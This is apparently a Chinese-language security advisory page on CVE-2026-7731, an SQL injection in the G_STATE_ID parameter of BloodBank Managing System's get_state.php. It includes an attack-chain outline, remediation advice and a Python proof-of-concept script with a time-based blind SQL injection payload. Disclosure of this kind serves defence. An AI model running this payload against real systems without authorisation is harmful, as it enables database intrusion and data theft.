IPBUF安全漏洞报告
English
CVE-2026-7731 CVSS 6.3 中危

CVE-2026-7731 BloodBank Managing System SQL注入漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7731
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects BloodBank Managing System

相关标签

SQL注入BloodBank Managing SystemWeb漏洞CVE-2026-7731数据安全

漏洞概述

code-projects BloodBank Managing System 1.0版本存在安全漏洞。受影响组件是`get_state.php`文件中的未知功能。由于对参数`G_STATE_ID`缺乏有效过滤,攻击者可操纵该参数引发SQL注入。该漏洞支持远程利用,且利用代码已公开披露,可能导致数据泄露或篡改。

技术细节

该漏洞源于`get_state.php`文件在处理`G_STATE_ID`参数时,未进行严格的输入验证或使用预编译语句,导致攻击者能够将恶意SQL代码注入到后台数据库查询中。攻击复杂度低(AC:L),无需用户交互(UI:N),仅需低权限(PR:L)即可通过网络(AV:N)发起攻击。攻击者可通过构造特定的SQL语句,绕过认证或提取、修改、删除数据库中的敏感信息,对机密性、完整性和可用性造成低至中度影响。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是 code-projects BloodBank Managing System 1.0,并定位到 get_state.php 接口。
STEP 2
武器化
攻击者构造针对 G_STATE_ID 参数的恶意 SQL 注入 Payload(例如布尔盲注或时间盲注语句)。
STEP 3
交付
攻击者通过 HTTP GET 或 POST 请求,将包含恶意 Payload 的 G_STATE_ID 参数发送给服务器。
STEP 4
利用
服务器后端脚本未过滤该参数,直接将其拼接到 SQL 查询中执行,数据库解析并运行了攻击者的恶意代码。
STEP 5
影响
攻击者成功获取数据库敏感信息(如用户名、密码哈希),或者篡改、删除数据,导致系统完整性受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def verify_sqli(target_url): """ PoC for CVE-2026-7731 Vulnerable File: get_state.php Vulnerable Parameter: G_STATE_ID """ # Construct the full URL to the vulnerable endpoint full_url = f"{target_url}/get_state.php" # Time-based blind SQL injection payload # If the database pauses for 5 seconds, the vulnerability is confirmed. payload = { "G_STATE_ID": "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" } try: print(f"[+] Sending payload to: {full_url}") response = requests.get(full_url, params=payload, timeout=10) # Check response time if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: Time-based SQL Injection detected.") else: # Check for SQL syntax errors in response (Error-based) if "sql" in response.text.lower() or "syntax error" in response.text.lower(): print("[+] Vulnerability Confirmed: Error-based SQL Injection detected.") else: print("[-] Vulnerability not confirmed or target is patched.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1/bloodbank" verify_sqli(target)

影响范围

code-projects BloodBank Managing System 1.0

防御指南

临时缓解措施
建议立即检查并修复 get_state.php 文件代码,对所有用户输入(特别是 G_STATE_ID)进行严格的过滤和转义。在未发布修复补丁前,建议在 WAF 中添加规则,拦截针对该文件的包含 SQL 关键字(如 UNION, SELECT, ')的请求,并暂时禁用该功能模块以降低风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表